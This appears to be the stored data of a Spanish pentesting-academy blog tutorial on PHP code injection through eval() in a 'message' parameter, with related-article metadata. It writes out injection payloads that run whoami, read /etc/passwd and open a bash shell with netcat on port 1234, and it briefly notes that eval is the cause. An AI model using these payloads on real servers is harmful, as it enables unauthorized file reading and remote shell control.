[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fTI1lWKAMuFI9ddnMpitE7rfWhs6yOq9ckJH5z5oS-to":3},{"slug":4,"title":5,"summary":6,"category":7,"author":10,"image_url":16,"image_thumb_url":16,"published_at":17,"updated_at":18,"body_html":19,"keywords":20,"reading_time_minutes":21,"related_articles":22,"related_course":59,"related_specialty":79},"inyeccion-de-codigo-malicioso-en-aplicaciones-web-php","Inyección de código malicioso en aplicaciones Web(PHP)","Owasp posee un TOP 10 de vulnerabilidades orientadas a aplicaciones web, sin duda la vulnerabilidad número 1 y la más relevante consiste en ataques de tipo Inyección. Las inyecciones SQL son las más conocidas, sin embargo existen muchos tipos de inyecciones como por ejemplo, Inyección Xpath, Inyección de Comandos, Inyección LDAP, etc. ",{"slug":8,"name":9},"auditoria-aplicaciones-web","Pentesting a Aplicaciones Web",{"username":11,"name":12,"avatar_url":13,"headline":14,"aboutme":15},"saamux","Samuel Esteban","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBbDRJIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--6e60a39152819c1c857e0a1e157e99a5fe76ddf9\u002Fperfil.png","Senior Pentester","Actualmente me desempeño como Pentester...","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaDRPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--de901662996a3d7a0107cb9c52a3b23db712d617\u002Fshutterstock_1098318236.jpg","2017-01-31T23:01:30-03:00","2026-10-26T18:19:55-03:00","\u003Cp>\u003Cstrong>Owasp\u003C\u002Fstrong> posee un \u003Cstrong>TOP 10 de vulnerabilidades\u003C\u002Fstrong> orientadas a aplicaciones web, sin duda la vulnerabilidad número 1 y la más relevante consiste en ataques de tipo Inyección. Las inyecciones SQL son las más conocidas, sin embargo existen muchos tipos de inyecciones como por ejemplo, Inyección Xpath, Inyección de Comandos, Inyección LDAP, etc.\u003C\u002Fp>\r\n\u003Cp>En esta oportunidad nos enfocaremos en una vulnerabilidad en particular la cual consiste en Inyectar Código PHP de forma remota.\u003C\u002Fp>\r\n\u003Cp>A continuación tenemos el siguiente escenario.\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fbta-blog.s3.amazonaws.com\u002Fimages\u002Fb7fe4eea8d41bbc25f44d8fab4e6399d.jpg\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección Código PHP - Escenario\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Aparentemente tenemos un sitio web simple (sin mayor información sensible).\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fbta-blog.s3.amazonaws.com\u002Fimages\u002F69898a0a84d597a27ee12b13b805887d.jpg\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección Código PHP – Parámetro “Message”\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Sin embargo, tenemos un parámetro llamado message, el cual tiene como valor test. Como es posible observar en la imagen anterior, el valor test se ve reflejado dentro de la aplicación web. Si le cambiamos ese valor por cualquier cosa, nos devolverá el valor dentro del sitio web.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fbta-blog.s3.amazonaws.com\u002Fimages\u002Ff651a2b95c58bd50f506763998841a01.jpg\">\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección Código PHP – Cambiando valor de “Message”\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Se podría intentar realizar diversos ataques como (XSS, SQli, LFI, etc), sin embargo el enfoque principal es intentar verificar si la aplicación es vulnerable a una inyección PHP de código remoto. Para ello, utilizaremos el siguiente vector de ataque:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>print(exec('whoami'))\u003C\u002Fpre>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>El comando whoami servirá para detectar que usuario está ejecutando el sitio web.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fbta-blog.s3.amazonaws.com\u002Fimages\u002F72d5d8b4cc68925e94e7dc8b2bfc117f.jpg\">\u003C\u002Fp>\r\n\u003Cp>                                                                                    Inyección Código PHP – Cambiando valor de “Message”\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cdiv>Excelente, el sitio web es vulnerable, ya que como es posible apreciar, el comando whoami, logró ser exitoso, ya que nos retornó el nombre de usuario que está siendo utilizado con permisos sobre el sitio web, en este caso el usuario www-data. Pero ¿Por qué es vulnerable? Lamentablemente existen desarrolladores que utilizan métodos de impresión de datos no recomendados por PHP, como es el caso de la función Eval. \u003C\u002Fdiv>\r\n\u003Cp>\u003Cbr>Si vemos el código fuente del recurso \u003Cem>phpi.php \u003C\u002Fem>obtenemos lo siguiente:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fbta-blog.s3.amazonaws.com\u002Fimages\u002Fa5bca06564364e5b9e3b3a8588ec904c.jpg\">\u003C\u002Fp>\r\n\u003Cp>                                                                                            Inyección Código PHP – Recurso vulnerable\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>En este recurso, se utiliza la función eval, la cual permite mostrar los datos por pantalla, sin embargo no se recomienda utilizarla ya que también es posible ejecutar comandos del sistema.\u003C\u002Fp>\r\n\u003Cp>Por otra parte, y siguiendo con la explotación de la vulnerabilidad, podríamos además listar el archivo passwd de Linux.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fbta-blog.s3.amazonaws.com\u002Fimages\u002F173db724f2df84a3989c1c11a625c2d7.jpg\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección Código PHP – Archivo Passwd\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>El problema de esto, es que solo me está mostrando la última línea del archivo. Si queremos mostrar el archivo iterando línea por línea comenzando desde la primera, debemos utilizar el comando head, de la siguiente manera:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>print(exec('head -1 \u002Fetc\u002Fpasswd'))\u003C\u002Fpre>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Con esto le decimos que nos muestre la primera línea del archivo (comenzando desde la primera), si queremos mostrar la segunda simplemente reemplazamos el -1 por el -2 y así sucesivamente.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fbta-blog.s3.amazonaws.com\u002Fimages\u002F7186c2136b08f0ff6d0e87a625d4b29a.jpg\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección Código PHP – Archivo Passwd línea 1\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>A continuación intentaremos realizar una conexión revesa, para poder obtener una shell de Linux y poder controlar el servidor web.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>print(exec('nc -lp 1234 -e \u002Fbin\u002Fbash'))\u003C\u002Fpre>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Lo que hace este comando es decirle al intérprete que abra el puerto 1234 y lo mantenga a la escucha, de tal modo que si alguien se conecta a dicho puerto podrá obtener una Shell bash y ejecutar comandos de forma arbitraria.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fbta-blog.s3.amazonaws.com\u002Fimages\u002F7ab1e0a180cf9bd1316521d7ec876590.jpg\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección Código PHP – Conexión Reversa\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Ch3>\u003Cstrong>\u003Cem>Máquina atacante:\u003C\u002Fem>\u003C\u002Fstrong>\u003C\u002Fh3>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fbta-blog.s3.amazonaws.com\u002Fimages\u002F7771ee573a42ba545b1bf3f568ccd4cf.jpg\">\u003Cstrong>\u003Cbr>\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección Código PHP – Conexión Reversa a través del atacante\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cbr>Se logró obtener una Shell inversa con el atacante. Por último crearemos un archivo de prueba para ratificar que tenemos el control del sistema.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fbta-blog.s3.amazonaws.com\u002Fimages\u002Fe6c8cfb869b74c2ac9f00c596a0f8942.jpg\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem> \u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cem> \u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cem> \u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cem> \u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección Código PHP – Creando archivo HTML\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>    \u003Cimg src=\"https:\u002F\u002Fbta-blog.s3.amazonaws.com\u002Fimages\u002Fe77ba5db8a40c22c9ba3eb6efc720de0.jpg\">\u003Cem>                                                                                        Inyección Código PHP – Verificando el archivo creado\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>","Php, Hacking",4,[23,35,47],{"slug":24,"title":25,"summary":26,"category":27,"author":28,"image_url":32,"image_thumb_url":32,"published_at":33,"updated_at":34},"sqlmap-ejemplo-con-metasploitable2","Sqlmap - ejemplo con metasploitable2","Hola, soy Martin Frias y en esta vez hablaré un poco sobre Sqlmap, Sqlmap es una herramienta que permite automatizar las inyecciones sql. La inyección sql es una vulnerabilidad que nos permite la inyección de código sql para que pueda ser ejecutado e interpretado y así obtener información de la base de datos, información a la que normalmente no deberíamos tener acceso, yo recomiendo fuertemente aprender lenguaje sql, para poder saber hacer inyecciones slq de forma manual, de manera que  si vas a usar herramientas automatizadas como sqlmap, por ejemplo, que sea por ahorrar algo de tiempo, porque siempre es mejor saber qué está haciendo un herramienta por detrás, no solo escribir un comando y no saber exactamente qué acabamos de hacer.",{"slug":8,"name":9},{"username":29,"name":30,"avatar_url":31},"coldd","Martin Frias",null,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdjRPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--514529c30f11596b49003fc5bd68b363e922629b\u002Fshutterstock_1085444453.jpg","2020-09-23T14:04:11-03:00","2026-10-26T11:01:19-03:00",{"slug":36,"title":37,"summary":38,"category":39,"author":40,"image_url":44,"image_thumb_url":44,"published_at":45,"updated_at":46},"portainer-gestor-web-para-docker","Portainer es una herramienta web open-source: Gestor Web para Docker","En los últimos años, las tecnologias de irutalizacioon de servicios y plataformas ha tomado poder en el mundo de las implementaciones. Uno de ellos es Docker, el cuál nos permite automatizar el despliegue de aplicaciones dentro de contenedores de software. A grandes ragos, Docker permite meter en un contenedor (un entorno cerrado) aquellas cosas que mi aplicación necesita para ser ejecutada (java, Maven, tomcat…) y la propia aplicación. Ese contenedor puede llevarse a cualquier máquina que tenga instalado Docker y ejecutar la aplicación independientemente de qué sistema operativo es, de si son compatibles o no.",{"slug":8,"name":9},{"username":41,"name":42,"avatar_url":43},"damch","Javier Candia","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBam9KIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--036416498d87c59fa3f0ac1f5e0a08336b65faf5\u002Fdescarga.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdnNPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--f33dca4def55d322137830da440c14fbc9abbd47\u002Fshutterstock_721673605.jpg","2020-08-31T12:17:41-04:00","2026-10-26T12:22:47-03:00",{"slug":48,"title":49,"summary":50,"category":51,"author":52,"image_url":56,"image_thumb_url":56,"published_at":57,"updated_at":58},"evillimiter","Evil Limiter","Si se encuentra con un compañero de cuarto que acapara el ancho de banda de datos limitado con videojuegos o descubre que un vecino se ha invitado a su red Wi-Fi, puede recuperar fácilmente el control de su acceso a Internet. Evil Limiter hace esto al permitirle controlar la velocidad de bits de cualquier dispositivo en la misma red que usted, lo que le permite reducir o incluso detener la velocidad de transferencia de datos por completo.",{"slug":8,"name":9},{"username":53,"name":54,"avatar_url":55},"Erik172","Erik Garcia","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBc1lSIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--e703ff6245d2a783835ef18906375a5246ad1b84\u002Fgorickyourself.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdXdPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--79934810f6a5f794a404634540a7b200a27853e6\u002Fshutterstock_179770802.jpg","2020-05-12T14:50:51-04:00","2026-10-26T14:37:08-03:00",{"slug":60,"title":61,"summary":62,"level":63,"specialty":64,"category":67,"instructor":68,"image_url":72,"image_thumb_url":72,"duration_seconds":73,"lessons_count":74,"students_count":75,"is_free":76,"coming_soon":77,"updated_at":78},"retos-hacking-web","Retos Hacking Web","Aprende técnicas de Web Hacking con laboratorios reales las 24 horas.","Basicos",{"slug":65,"name":66},"web-application-testing-wat","Web Application Testing",{"slug":8,"name":9},{"username":69,"name":70,"avatar_url":71},"Rodolfo","Rodolfo Cecena","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBanNGIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--2097f10306a2b3955ed91f935c2c204cee999900\u002Frodolfo.jpg","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZzhOIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--2cf209dab21946647599db6af552f4c7be69a077\u002FRETOS-HACKING-01.png",9027,20,38321,true,false,"2025-02-15T00:31:58-03:00",{"slug":65,"name":66,"summary":80,"level":81,"courses_count":82,"total_duration_seconds":83,"is_free":77,"image_url":84,"icon_url":85,"wallpaper_url":86,"updated_at":87},"Las aplicaciones web son las solicitadas por el mercado, una mala configuración o práctica puede comprometer una página web y dejarla expuesta a ataques como una inyección sql, la mayoría de páginas web están creadas…","Avanzado",12,148188,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaVVQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--3da0fc1100f4cbea608297447bf7820177f5603b\u002FWeb-Aplication-Testing-02.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaXNQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--72bafcc13a30961fa0d390b3685b3450726cdf5a\u002FWeb-Aplication-Testing.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBakVQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--e43f452a65e4221aa712798b9da4c14461c4bf8d\u002FWeb-Aplication-Testing-02.png","2021-05-17T15:38:02-04:00"]